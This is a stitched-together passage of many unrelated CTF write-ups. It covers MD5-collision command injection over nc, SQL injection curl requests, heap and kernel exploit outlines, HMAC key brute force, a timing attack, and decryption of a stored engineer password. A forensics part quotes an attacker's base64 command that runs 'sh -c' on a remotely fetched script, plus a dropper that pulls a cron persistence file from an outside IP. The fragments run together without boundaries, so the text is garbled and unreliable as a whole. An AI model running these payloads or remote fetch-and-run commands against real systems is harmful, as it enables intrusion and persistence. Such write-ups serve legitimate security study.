(MD5: 6d81b47f5fb0ccc08684f128704c8116)```- Append the suffix:```msg1:30 3B 6C 73 20 2E 20 44 54 55 20 23 20 00 00 00 0;ls . DTU # ...00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................6A 88 7D 53 18 40 D8 03 76 32 FD 71 AB ED 2B C5 jˆ}S.@Ø.v2ýq«í+Å12 CF 8A 54 F2 15 26 C0 3F E2 76 09 A9 2D 26 8D .ÏŠTò.&À?âv.©-&.0E B1 0C C0 80 A7 C1 9F 0B 08 56 44 EB 77 48 60 .±.À€§ÁŸ..VDëwH`44 56 39 55 28 E6 3D 5B 2D F3 B4 95 BF A5 9B F5 DV9U(æ=[-ó´•¿¥›õ7A 15 F9 2C 78 86 6B 00 C0 09 4A 3D 56 70 50 24 z.ù,x†k.À.J=VpP$F1 36 D6 61 4B 7B 35 EB 7E 59 E0 57 5B 9C 6B C1 ñ6ÖaK{5ë~YàW[œkÁDD 04 C9 EE 06 F2 82 BF 1A 97 EB 50 B3 5C D0 0A Ý.Éî.ò‚¿.—ëP³\Ð.14 A5 88 6B 0F 28 8A 48 28 D3 FC 40 7B C2 2A 30 .¥ˆk.(ŠH(Óü@{Â*020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 3B 6C 73 20 2E 20 0;ls .
msg2:30 3B 6C 73 20 2E 20 44 54 55 20 23 20 00 00 00 0;ls . DTU # ...00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................6A 88 7D 53 18 40 D8 03 76 32 FD 71 AB ED 2B C5 jˆ}S.@Ø.v2ýq«í+Å12 CF 8A D4 F2 15 26 C0 3F E2 76 09 A9 2D 26 8D .ÏŠÔò.&À?âv.©-&.0E B1 0C C0 80 A7 C1 9F 0B 08 56 44 EB F7 48 60 .±.À€§ÁŸ..VDë÷H`44 56 39 55 28 E6 3D 5B 2D F3 B4 15 BF A5 9B F5 DV9U(æ=[-ó´.¿¥›õ7A 15 F9 2C 78 86 6B 00 C0 09 4A 3D 56 70 50 24 z.ù,x†k.À.J=VpP$F1 36 D6 E1 4B 7B 35 EB 7E 59 E0 57 5B 9C 6B C1 ñ6ÖáK{5ë~YàW[œkÁDD 04 C9 EE 06 F2 82 BF 1A 97 EB 50 B3 DC CF 0A Ý.Éî.ò‚¿.—ëP³ÜÏ.14 A5 88 6B 0F 28 8A 48 28 D3 FC C0 7B C2 2A 30 .¥ˆk.(ŠH(ÓüÀ{Â*020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 3B 6C 73 20 2E 20 0;ls .
(MD5: a3e953ee34b12c06214f019e05d15cfb)```
Now time to send the commands to the server:```$ nc 34.68.99.117 4444Type your command here: 3B6C73202E204454552023200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006A887D531840D8037632FD71ABED2BC512CF8A54F21526C03FE27609A92D268D0EB10CC080A7C19F0B085644EB7748604456395528E63D5B2DF3B495BFA59BF57A15F92C78866B00C0094A3D56705024F136D6614B7B35EB7E59E0575B9C6BC1DD04C9EE06F282BF1A97EB50B35CD00A14A5886B0F288A4828D3FC407BC22A30202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C73202E20Retype your command here: 3B6C73202E204454552023200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006A887D531840D8037632FD71ABED2BC512CF8AD4F21526C03FE27609A92D268D0EB10CC080A7C19F0B085644EBF748604456395528E63D5B2DF3B415BFA59BF57A15F92C78866B00C0094A3D56705024F136D6E14B7B35EB7E59E0575B9C6BC1DD04C9EE06F282BF1A97EB50B3DCCF0A14A5886B0F288A4828D3FCC07BC22A30202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C73202E20secretserver.py0```
Next command: `0;cat *DTU # ````$ nc 34.68.99.117 4444Type your command here: 3B636174202A44545520232000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000098FA3DCA376CDA2F86508BBBB633B3C6130B5EE5E8E039361EEE787E2A040E27B9C1CECA7AD419E2EB6DCADB02AE176093280DE3C1735EBD400CC5B016414D05B32A6AA74C53D2EFD3B9AF09C5800218CC0F73562F063E27D31A7E37EC07E263F68DBE19F68CD85168906C2F7944F62A118EDCD0FAB1D7B8901B8F3B5BB59D01202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B636174202ARetype your command here: 3B636174202A44545520232000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000098FA3DCA376CDA2F86508BBBB633B3C6130B5E65E8E039361EEE787E2A040E27B9C1CECA7AD419E2EB6DCADB022E186093280DE3C1735EBD400CC53016414D05B32A6AA74C53D2EFD3B9AF09C5800218CC0F73D62F063E27D31A7E37EC07E263F68DBE19F68CD85168906C2F79C4F52A118EDCD0FAB1D7B8901B8FBB5BB59D01202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B636174202A#python3from hashlib import md5from binascii import unhexlifyfrom os import system
def padding(text): pad = ('\x30'*(64 - (len(text) % 64))).encode('utf-8') return pad+text
def get_block(intro): unhex = unhexlify(str(input(intro))) return (padding(unhex))
cmd = get_block('Type your command here: ')recmd = get_block('Retype your command here: ')
check1 = md5(cmd).hexdigest()check2 = md5(recmd).hexdigest()
#Sector1checkpoint=0for i in range(len(cmd)): if cmd[i:i+3] == b'DTU': checkpoint=i break else: checkpoint=0
#Sector2 (Remember only 'ls' and 'cat' with no option are allowed)if len(cmd) == len(recmd) and cmd != recmd and check1 == check2: if checkpoint == 0: print ('Wrong checkpoint') elif cmd[:checkpoint] == cmd[-checkpoint:]: output = system(cmd[:checkpoint]) print (output)else: print ('''Nope! You're not a Magician, Dude5.''')256```
Looks like `secret` is not a file. Let's verify with the next command: `0;ls -alDTU ````$ nc 34.68.99.117 4444Type your command here: 3B6C73202D616C4454552000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000312BE3517B5E4F2A3C75998F0F618EB3E476BDE12C610F4902EE3F9A90230D20CF1306BB4C442E9A6B10B8F3AEEFB0350356ADE4D1576D7DEA40039A392CBA05580713FD1ACE95465C1470B14B9E7427BA8E5B6213E60E2ACB1A6ECDEC860272867CA65A06CBE38E9A4B451778B8C5EA2F65CFC73680651240B38C512C2E9E222020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C73202D616CRetype your command here: 3B6C73202D616C4454552000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000312BE3517B5E4F2A3C75998F0F618EB3E476BD612C610F4902EE3F9A90230D20CF1306BB4C442E9A6B10B8F3AE6FB1350356ADE4D1576D7DEA40031A392CBA05580713FD1ACE95465C1470B14B9E7427BA8E5BE213E60E2ACB1A6ECDEC860272867CA65A06CBE38E9A4B45177838C5EA2F65CFC73680651240B38CD12C2E9E222020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C73202D616Ctotal 16drwxr-xr-x 1 root root 4096 Dec 13 01:01 .drwxr-xr-x 1 root root 4096 Dec 13 01:01 ..drwxr-xr-x 2 root root 4096 Dec 13 01:00 secret-rw-r--r-- 1 root root 942 Dec 10 09:22 server.py0```
Next command: `0;ls secretDTU````$ nc 34.68.99.117 4444Type your command here: 3B6C732073656372657444545500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006754932BD3E3E096E634A6191E36D4E73CDEDE5F1F94A3252B327A6DDA9511C05BEBDEC5E26B30A0EB655539F78D5668A7908235152145B0039BE5C8FA4BA5ADCA2F94D646611B5ACF5148755C2671AD1496151785333E1C00956C86D017618DF56F36CE67FB708522431132873C6DFEFD701273DDC1B3A9A15927E34760CDD62020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C7320736563726574Retype your command here: 3B6C732073656372657444545500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006754932BD3E3E096E634A6191E36D4E73CDEDEDF1F94A3252B327A6DDA9511C05BEBDEC5E26B30A0EB655539F70D5768A7908235152145B0039BE548FA4BA5ADCA2F94D646611B5ACF5148755C2671AD1496159785333E1C00956C86D017618DF56F36CE67FB70852243113287BC6CFEFD701273DDC1B3A9A15927634760CDD62020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B6C7320736563726574flag.txt0```
Now time to get the flag: `0;cat secret/*DTU````$ nc 34.68.99.117 4444Type your command here: 3B636174207365637265742F2A4454550000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000574B8BCEDE1A58BF3B0C564169B6C1F3A69929F00DA2E4D32B627986AD98A6D1D4F2A3E65E66C8ADE7E7643BECED1A7660942EB8175B55224153B059026CBA3F9830B5480CB1235AE094A681D23C42C48B343E1684BC8C1EFEDC74C64FAD311EE90F3A05B6BB82652E83155A951C4B9EDC04B6E76DD583FF8FDC99796C8ADE662020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B636174207365637265742F2ARetype your command here: 3B636174207365637265742F2A4454550000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000574B8BCEDE1A58BF3B0C564169B6C1F3A69929700DA2E4D32B627986AD98A6D1D4F2A3E65E66C8ADE7E7643BEC6D1B7660942EB8175B55224153B0D9026CBA3F9830B5480CB1235AE094A681D23C42C48B343E9684BC8C1EFEDC74C64FAD311EE90F3A05B6BB82652E83155A959C4A9EDC04B6E76DD583FF8FDC99F96C8ADE662020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303B636174207365637265742F2AISITDTU{y0ur3_a_M4g1c1An_Dude5}0``` |
In the config file `Panels.xml` is the field `ENGINEER_ENCPASS` (encrypted engineer password), so we probably want to decrypt this.
After installing the binary, you can find that it is written in .NET. After looking through the DLLs, you can find one called `SpcUtilsAndDefns.dll` that has an interesting function called `SpcUtils.DecryptString`. This function will decrypt the input in AES-CBC mode with the key at `SpcUtils.EncryptDataEncKeyBin` and the IV at `SpcUtils.EncryptDataEncIVBin`. After further analysis, it is called with the password loaded from the config as an argument so it is probably the correct decryption function.
After extracting this key and IV and converting to hex, you are left with:
- EncryptDataEncKeyBin: `cdde8338f9ce5657ecd94b931088c3ffa74aa7ae49be9d200da8276743517408`- EncryptDataEncIVBin: `89a5825aef16f5e50e730e60210c378f`
You can now use these to decrypt the password:```pythonimport base64from Cryptodome.Cipher import AES
ENC_KEY = bytes.fromhex("cdde8338f9ce5657ecd94b931088c3ffa74aa7ae49be9d200da8276743517408")ENC_IV = bytes.fromhex("89a5825aef16f5e50e730e60210c378f")
enc = base64.b64decode("a+otqmLSU92rzNnOXGwaCehJjoX8FIlazg+TCelmsEryWnRfLLyXEsqs9mu4dQqJ")cipher = AES.new(ENC_KEY, AES.MODE_CBC, ENC_IV)dec = cipher.decrypt(enc).rstrip(b"\x00").decode()
print("flag:", dec)``` |
- Leak GlibC.- Re-arrange the chunks in the heap somehow using the OBO, so that I can achieve tcache poisoning (I will show you how)- change __free_hook to system() and free a chunk containing "/bin/sh\x00" |
```from pwn import *nc = remote('challs.xmas.htsp.ro', 6051)for i in range(7): chall = nc.recvline().decode().strip()i = 0while True: test = nc.recvline().decode().strip() print(test) exec(nc.recvline().decode().strip()) exec(nc.recvline().decode().strip()) exec(nc.recvline().decode().strip()) array = sorted(array) answer = str(array[:k1]) + '; ' + str(array[-k2:][::-1]) answer = answer.replace('[', '') answer = answer.replace(']', '') nc.sendline(answer) i += 1 if i == 50: check = nc.recv().decode().strip() print(check) break else: check = nc.recvline().decode().strip() print(check)``````[x] Opening connection to challs.xmas.htsp.ro on port 6051[x] Opening connection to challs.xmas.htsp.ro on port 6051: Trying 149.28.40.196[+] Opening connection to challs.xmas.htsp.ro on port 6051: DoneTest number: 1/50Good, that's right!Test number: 2/50Good, that's right!Test number: 3/50Good, that's right!.........Test number: 46/50Good, that's right!Test number: 47/50Good, that's right!Test number: 48/50Good, that's right!Test number: 49/50Good, that's right!Test number: 50/50Good, that's right!Those are some was lightning quick reflexes you've got there! Here's your flag: X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}``````X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}``` |
There is 2 kinds of solution.1) Simple Dynamic programming solution2) Matrix multiplication.
Solving with dynamic programming technique, we can define the 2-dimension dp array like thatdp\[i\]\[j\] => number of cases to reach jth node with ith steps.The recurrence relation can be denoted with simple for-loop programming.If you can reach ath node with Lth steps, and there is path between ath node and bth node, You can reach bth node from ath node with (L+1)th steps.
But if you try this kind of solution, you can time limit exceed. Because in server side testcase, N is relatively small, but L value is relatively large.Doing some optimization, like using adjacent list instead of adjacent matrix, implementing problem solver with cpp binary, I could get the flag with this solution.
Solving with matrix multiplication is the just simple extension from dynamic programming idea.The next recurrence is made of linear combination of previous recurrence.In this kind of recurrence, you can transform the dp array mutation into matrix multiplication.We should do matrix multiplcation with L times, it is power of matrix.You can reduce computing time consumption with exponential multiplication.For example, if you want to get M^16, M^16 = (M^8)^2M^8 is also equals to (M^4)^2, something like that.You can get power of matrix with time complexity O(lg(L)).
|
Upon opening the challenge link, we are shown an api description:

We can create a paste, delete it, read the entire paste, or only accessing a particular field of the paste (text or title)
Even though this challenge was easy, we took quite a while to solve it, because we went on a totally different path.
Let's start by creating a paste:
```bashth3jackers$ curl -X POST http://chall.bsidesalgiers.com:8001/paste/new -H "Content-Type: application/json" -d '{"title":"just a title","text":"just a content"}'
{"success":true,"url":"/paste/veisbzgx"}```
Let's read it
```bashth3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx
{"success":true,"text":"just a content","title":"just a title"}```After few tries, it seems there is nothing interesting here, let's try reading by field
```bashth3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/title
just a title
th3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/text
just a text```Humm ... it's a bit different here, there is no object returned.We tried injecting some stuff like 1+1 and indeed it returned 2 instead of an error, same thing if we put a string (inside quotes).
we spent some time here trying to figure out how it works, how is it evaluating inputs.
First we thought it was python-related (since this is a Flask app),maybe he is fetching the paste from db, putting it in a dictionary and then trying to access the dictionary by key, but this didn't make much sense.
Then, my team mate tried putting `*` as a field and this is what happened:
```bashth3jackers$ curl http://chall.bsidesalgiers.com:8001/paste/veisbzgx/*
veisbzgx```
Finally this was the trigger, my team mate guessed it must be a classic sql injection :p and indeed it was Sqlite, we tried locally and sqlite returned exactly the same output of all the different inputs we tried.
The rest was easy, first get the table name
```bashth3jackers$ curl "http://chall.bsidesalgiers.com:8001/paste/veisbzgx/name%20from%20sqlite_master%20WHERE%20type='table'%20union%20select%20'x'"
pastes```
then get the id of the paste containing the flag
P.S: `union select 'x'` act as a comment because regular comments somehow doesn't work.
```bashth3jackers$ curl "http://chall.bsidesalgiers.com:8001/paste/veisbzgx/id%20from%20pastes%20where%20text%20like%20%22%shellmates%7B%%22%20%20union%20select%20'x'"
sp05m8vu```
```bashth3jackers$ curl "http://chall.bsidesalgiers.com:8001/paste/sp05m8vu/text"
shellmates{2021_y3t_sQl_1nj3ct10ns_4r3_st1ll_4_pr0bl3m}```
Flag: `shellmates{2021_y3t_sQl_1nj3ct10ns_4r3_st1ll_4_pr0bl3m}` |
Inspecting `access.log`, we find a suspicious request:
```192.168.138.1 - - [29/Oct/2020:00:08:06 +0300] "GET /test-verysecretfile.php?expression=shell_exec%28%22%60echo+c2ggLWMgIiQod2dldCAtTy1odHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0FldGhlckV0ZXJuaXR5LzQ4NGZlYzZmYjBmMjdlZjZlYzgxYjU4YWVlNTZlZGQxL3Jhdy8wN2MyZjc5NjBlYTE1MmVmOTRjMjBmZDJjMDlkZjU0YmMyMWQ4NmU5L3N0YWdlLnNoKSI%3D+%7C+base64+-d%60%22%29 HTTP/1.1" 200 435 "-" "python-requests/2.23.0"```
The base64 string decodes to:
```sh -c "$(wget -O-https://gist.githubusercontent.com/AetherEternity/484fec6fb0f27ef6ec81b58aee56edd1/raw/07c2f7960ea152ef94c20fd2c09df54bc21d86e9/stage.sh)"```
Now let's see what this piece of code does:
```#!/bin/shNEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
echo $NEW_UUID > /etc/persist
BASE="http://188.143.222.218:4455/persist?uuid="wget -O /etc/cron.hourly/persist "$BASE$NEW_UUID"chmod +x /etc/cron.hourly/persist```
Where can we find this UUID? Let's have a look at `syslog`:
```Oct 29 0:26:54 debian-min root: Started door with uid AV0pUn47GjLGyaOXdMAbfeuef6WDFGfy```
Now we visit [http://188.143.222.218:4455/persist/?uuid=AV0pUn47GjLGyaOXdMAbfeuef6WDFGfy](http://188.143.222.218:4455/persist/?uuid=AV0pUn47GjLGyaOXdMAbfeuef6WDFGfy)
```#!/bin/shUUID = `cat /etc/persist`BASE="http://188.143.222.218:4455/?uuid="logger -s "Started door with uid $UUID"sh -c "$(wget -O- $BASE$NEW_UUID)"```
Follow the trace to [http://188.143.222.218:4455/?uuid=AV0pUn47GjLGyaOXdMAbfeuef6WDFGfy](http://188.143.222.218:4455/?uuid=AV0pUn47GjLGyaOXdMAbfeuef6WDFGfy):
```sh -c "`echo ZWNobyBPTllHRVkzVU1aNVdXTVpUT0JQWFNNRFZPSlBXTTVEUUw1WlRJWlJUUFVGQT09PT0gfCBiYXNlMzIgLWQgPiAvZXRjL3NlY3JldC5mbGFnCg== | base64 -d`"```
Decode the base64 string:
```echo ONYGEY3UMZ5WWMZTOBPXSMDVOJPWM5DQL5ZTIZRTPUFA==== | base32 -d > /etc/secret.flag```
Decode again and we get the flag: `spbctf{k33p_y0ur_ftp_s4f3}` |
Get the source code with accessing /?source=1.
Analyze the complex sql based vm code, hand tracing constructs most of flag.Some character need brute force sql query with Ubuntu+mysql 8.x version. |
# Solution
```python#!/usr/bin/env python3from angr import *import claripyproj = Project("./thou_shall_pass")
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(0x1f)]flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
entry_state = proj.factory.entry_state(stdin=flag)
for k in flag_chars: entry_state.solver.add(k != 0 ) entry_state.solver.add(k != 10)
sm = proj.factory.simulation_manager(entry_state)
sm.run()
for pp in sm.deadended: inp = pp.posix.dumps(0) if b"X-MAS" in inp: print(inp)``` |
My solution is probably unintended.The idea is returning back to fgets with leak from printf.The approach is to utilize a stack pointer chain in stack.In this challenge `15$` points to `41$`,so we can use something like `xxx%15$hnxxx%41$hhn` to firstlywrite `41$` and let it points to return address of printf,then use `41$` to change return address of printf.However, if we use format string in this way,original `41$` value is fetched instead of the rewritten one.By debugging and reading source code of printf,we found that when first `$` is encounted,all arguments will be recorded into a `args_value` array.https://elixir.bootlin.com/glibc/glibc-2.28/source/stdio-common/vfprintf.c#L1698Thus old value will be recorded before it is updated by first `%n`.When `41$` is encounterd later, value will be fetched from `args_value`instead of stack.Thus, the approach is not using positional argument for first `%n`,which is achievable in 0x30 characters!We can also leak the data before reaching `15$`,which have all pointers we need.With leak, everything is easy.Note that, this approach need 4096 bruteforces,so we rent a server in Germany to bruteforce. |
We must use the Forgot password feature, let's check it


I received an email with a token to reset my password.
I tried doing it again and again.And guess what? it's the same token every time

So, it must be some kind of a hash of my email, with a constant salt.
We already know the email of the admin ([email protected]), so we just need to find how it is hashed to get the token andreset his password.
In the home page, there is a link to the [repo](https://github.com/spiders-web/spidersweb) of the challenge. it contains a file `backup.zip` let's extract it
```bashth3jackers$ unzip backup.zip
Archive: backup.zip inflating: README.md creating: static/ creating: static/css/ inflating: static/css/foundation.min.css inflating: static/css/normalize.css inflating: static/css/main.css inflating: static/favicon.ico creating: static/avatars/ inflating: static/avatars/porkey.jpg inflating: static/avatars/admin.png inflating: static/avatars/default-avatar.png inflating: static/avatars/deadpool.jpg inflating: static/avatars/peterB.png inflating: static/avatars/peni.jpg inflating: static/avatars/miles.jpg inflating: static/avatars/kingpin.jpg extracting: static/avatars/gwen.png creating: views/ inflating: views/index.erb inflating: views/page_visitor.erb inflating: views/page_user.erb extracting: views/not_found.erb creating: .git/ creating: .git/branches/ creating: .git/hooks/ ......```
There is a `.git` folder, how cool is that :3 And it contains git objects, we can use them to readold deleted files, using the command `git cat-file OBJECT`
I used this inline command to go through all objects and read them (Thanks to [this writeup](https://www.mrt-prodz.com/blog/view/2014/09/no-con-name-ctf-quals-2014---miscall-100pts-writeup) for the tip)
```bashfor d in *; do for f in $d/*; do git cat-file -p $d$(basename "$f"); done; done```
Reading through all the files, i finally found what i was looking for:
```rubytoken = OpenSSL::HMAC.hexdigest("SHA256", ENV["SECRET_KEY"], email)```
I also found this note:
```- change SECRET_KEY to something stronger```
So all what is left to do, it to bruteforce the key by hashing it with HMAC_SHA256 using my email and my token that i already know.
I used `rockyou` as wordlist, here is my python script:
```pythonimport hashlib,hmacmytoken="MY_TOKEN"with open("/usr/share/wordlists/rockyou.txt","rb") as f: liste = f.readlines()n=len(liste)for i in range(len(liste)): line=liste[i].strip() if hmac.new(line,"MY_EMAIL",digestmod=hashlib.sha256).hexdigest() == mytoken: print("FOUND: %s"%line) break print("Trying %d/%d"%(i,n))
```
Running it gives us the KEY in few seconds: ```bash..........Trying 91398/14344391Trying 91399/14344391Trying 91400/14344391Trying 91401/14344391Trying 91402/14344391Trying 91403/14344391Trying 91404/14344391FOUND: spiderpig1````
Let's calculate admin's token now, shall we ?
```python>>> print(hmac.new("spiderpig1","[email protected]",digestmod=hashlib.sha256).hexdigest())
c1971b6fc5eedfa40d5d96a017b9a439c05f2fe8cdc8d48481e00e0c4580db7d```
Reset the admin password:

Et voila

Flag: `shellmates{w3lc0me_2_th3_5pid3r_v3rs3}` |
The link only contains the exploit source code.
Expected steps of solving the task:1) Reverse, notice trivial stack buffer overflow, disable KASLR in run script, write solution, notice it fails with KASLR2) Notice it uses FG-KASLR ( https://lwn.net/Articles/824307/ )3) Compare kallsyms from a couple of runs and notice that some symbols are never randomized, especially ones at the start of the kernel image. Notice that one of the addresses on the stack is also not affected by fine-grainness.4) Find available gadgets in those few available pages.5) Notice that there are the ksymtab symbols which are also not affected. Find out that they contain the real symbol offsets. Relevant structure: https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L606) Use the gadgets from 4 to read the relevant offsets from 57) Do the standard prepare_kernel_cred, commit_crerds, return to user space
What at least one team did:1) Create a script to copy /dev/sda contents to /tmp/flag.2) Use the non-randmized gadgets to overwrite the string `/sbin/modprobe` in kernel memory to point to their script3) Trigger the kmod path to have their script be executed4) Read flag
Some points:1) Using uclibc / musl-libc could be helpful for reducing the binary size2) The team with the nicer solution used upx to compress3) We would probably add a libc in future kernel pwns
I hope people enjoyed the task. |
# Secure Program Config - hxp CTF 2020
## Description
Due to corona, I’m in home office and yesterday, I (while not being completely sober) played around with some alarm systems of the clients and … apparently … changed my engineer password since I cannot access anything anymore … my boss has called this morning and threatened to fire me if I don’t fix that ASAP … I have not the slightest idea what my password could be or how I can get it back … can you please help me recover it???!! I have to fix that mess somehow …
I removed the clients’ data to not get into even more trouble …
Before I forget: Download ██████████ and start it pointing to the folder █████. (The software will ask you which directory it should use)
Our company login to the software is admin/admin. Luckily, I did not change that …
Oh no … my boss is calling again … we talk later … good luck.
## Solution
The challenge required to install a software for Windows called SPC Connect Pro. After a bit of hesitation, we decided to install it on one of our personal computers.
With the setup executable we were also given an archive containing some XML files, some configuration files, indeed we had to put them in the installation directory of SPC Connect Pro.
After the initial setup, we were able to open the software and log in with `admin`/`admin`, as told in the description.
One of the XML configuration files (`Panels.xml`) contained an encrypted password for the Engineer but we had to understand how the program encrypted it. We didn't want to do reverse engineering so we found an easier way.

By surfing in the GUI we found a panel with some credentials: a username `Engineer` and a password hidden by asterisks. We were able to append characters to that password! This means that the software knows which is the password and can edit that, so it isn't hashed but encrypted.

But... if the software knows which is the password, it stores that somewhere in the memory.
As suggested by one of our members (drw0if) we downloaded `windbg` to do the debug of the software and see what happens when we append characters to the password. There was just a problem: none of us knew how to use it and we ended up giving up because we couldn't read the memory. We opted for an easier (and funnier) way to read the memory: RxThorn suggested `Cheat Engine`, the software that every middle school student used at least one time to try to hack `Metin 2`.
From there it was all easy: we connected Cheat Engine to the process of SPC Connect Pro with the panel with the password opened and started a search for a string containing `hxp`. Some results, hooray! No.

Cheat Engine didn't show us the complete string but only a part of the beginning, we could have increased the string length on Cheat Engine result but we found out later. We decided to change strategy and use the `Memory View` instrument and searched for some text containing `hxp{` and there we found the flag: `hxp{4t_least_it_was_n0t_pla1ntext}`
 |
# Hash My Awesome Commands## TaskI found this strange server that only has two commands. Looks like there's a command to get the flag, but I can't figure out how to get it to work. It did come with a strange note that had 9W5iVNkvnM6igjQaWlcN0JJgH+7pComiQZYdkhycKjs= written on it. Maybe that's important?
nc challenges.2020.squarectf.com 9020
File: hmac.go
The server provides the ability to execute two commands if you you can provide the hmac for them and since you are given a base64 value, trying it with the debug command shows that it is its hmac
you can also see that the verfication of the hmac has (spoiler alert) some time aspect to it. The target is to exploit this timing aspect of it to predict the valid hmac for the flag command and trigger the flag command
## SolutionIf you turned on debugging, the server provides how long the verfication takes and checking the code provides the fact that the more right parts of the string you guess the longer it takes to verify ityou can actually have an exact value for the difference in timing from the code but haveing an exact value isn't that important as long as you can get a good enough approximation for the time added by each byte
You perform a timing based side channel attack by trying each byte until you get a byte that takes longer than the other with a noticable step (and due to the unstability of the calculation, you might need to do multiple attempts and then average them out)The maximum number of attempts for this scenario is 8192 but since the attempts start taking longer and longer you might need to keep trying for about 20 minutes
The exploit implemented in python included some tolerance for the timining and confirmation steps for each byte and also backing of when it thinks it estimated something in the wrong waybut the essense of the attack is the same and follows the following pseudo code:
```foreach byte in hash: assume value of byte 0-256 and attempt using it as part of the hmac if the time spent is a major increase over the previous time: confirm the timing by doing other attempts and if it passes move to the next byte else: try the next value of the byte if some byte fails to be detected many times: tell user that you failed guessing the previous byte at least and exit after printing the detected bytes correctly```
for the code of the exploit check the original write-up |
# Santa's ELF holomorphing machine (500 points)
## Description
We have intercepted the blueprints and a memory dump for another of Santa's wicked contraptions. What is the old man hiding this time around?
Author: PinkiePie1189
## Solution
The solution is [**here**](https://en.wikipedia.org/wiki/Holomorphic_function)
We just need to draw the plot using the Cauchy-Riemann condition.
```pythonimport matplotlib.pyplot as pltimport re
data = open('data.txt', 'r') lines = data.readlines()
x = []y = []for line in lines: parsed = re.findall(r"[-+]?\d*\.?\d+|[-+]?\d+", line) parsed = list(map(float,parsed))
uOrV = line[0] firstMult = int(parsed[0]) secondMult = int(parsed[1]) currX = parsed[2] currY = parsed[3]
zx = 0 zy = 0
if (uOrV == 'u'): zx = firstMult * currX + secondMult * currY zy = firstMult * currY - secondMult * currX else: zy = firstMult * currX + secondMult * currY zx = secondMult * currX - firstMult * currY
x.append(zx) y.append(zy)
plt.plot(x, y, '.')plt.show()```

Looks like flag, but we need to flip the plot:
```pythonplt.gca().invert_yaxis()```

Flag: X-MAS{C4uchy_4nd_Ri3m4nn_ar3_c0ming_t0_t0wn} |
Solved & written up by monocleus
## Challenge description
The challenge's binary is very similar to no-eeeeeeeeeemoji from Dragon Sector CTF 2020 ( https://ctftime.org/task/14011 ).
For those who didn't play that CTF, the binary presents with a menu of three choices:
(b)eer - Generates a random address, allocates a RWX page via mmap() and saves it to a global variable(h)orse - Uses the allocated RWX map in the following way:
* Take 0x1000 bytes from user* Overwrite parts of it with character 'A', with the final layout being the following: * 0x0 - 0x100: User-controlled * 0x100 - 0x200: 'A' filler * 0x200 - 0x202: User-controlled - 0x202 - 0x23E: Program Shellcode #2 ( provided by the binary ). - 0x23E - 0x300: 'A' filler - 0x300 - 0x400: User controlled - 0x400 - 0x413: Program Shellcode #1 ( also provided by the binary ) - 0x413 - 0x1000: User controlled
Then, execution gets passed to Program Shellcode #1 which overwrites 0x10000 bytes on stack and overwrites all registers other than RSP and RIP with 0xDEADBEEFDEADBEEF. Then, execution gets passed to code at 0x200 - providing you with two-bytes worth of code execution, followed by the shellcode consisting of mostly NOPs, followed by two syscalls:* write(1, buf, 0x26)* exit()
## Binary patches
The binary is, however, patched at several places:
1) The VDSO cannot be leaked anymore as puts() gets nopped out2) The function that generates random rwx page has been simplified ( no transformation of rand() result other than shifting it 12 bits left ) and removing the < 0x10000 check. This effectively makes the function return mmaps equal to rand() << 123) The first syscall ( write ) out of Program Shellcode #2 gets patched out.
This makes the attack described in previous writeup impractical.
## Solution
Again, the major problem here is the very constrained environment - only two bytes space for code execution, all registers are nuked, and stack is full of 0x4141414141414141 ( 'AAAAAAAA') entries.
Our solution here was to take advantage of the following NOP bytes, by using 0x41 0xFF. This in turn will concatenate with NOPs into a 0x41 0xFF 0x90 0x90 0x90 0x90 0x90 - **call qword ptr ds:[eax-0x6F6F6F70]**
Recall that RAX = 0xDEADBEEFDEADBEEF, which means eax = 0xDEADBEEF. 0xDEADBEEF - 0x6F6F6F70 = 0x6F3E4F7F, which means that assuming we can control 0x6F3E4F7F ( which we can - 0xF7F is not an offset overwritten by the 'A' ), we can call into an arbitrary location and gain comfortable code execution.
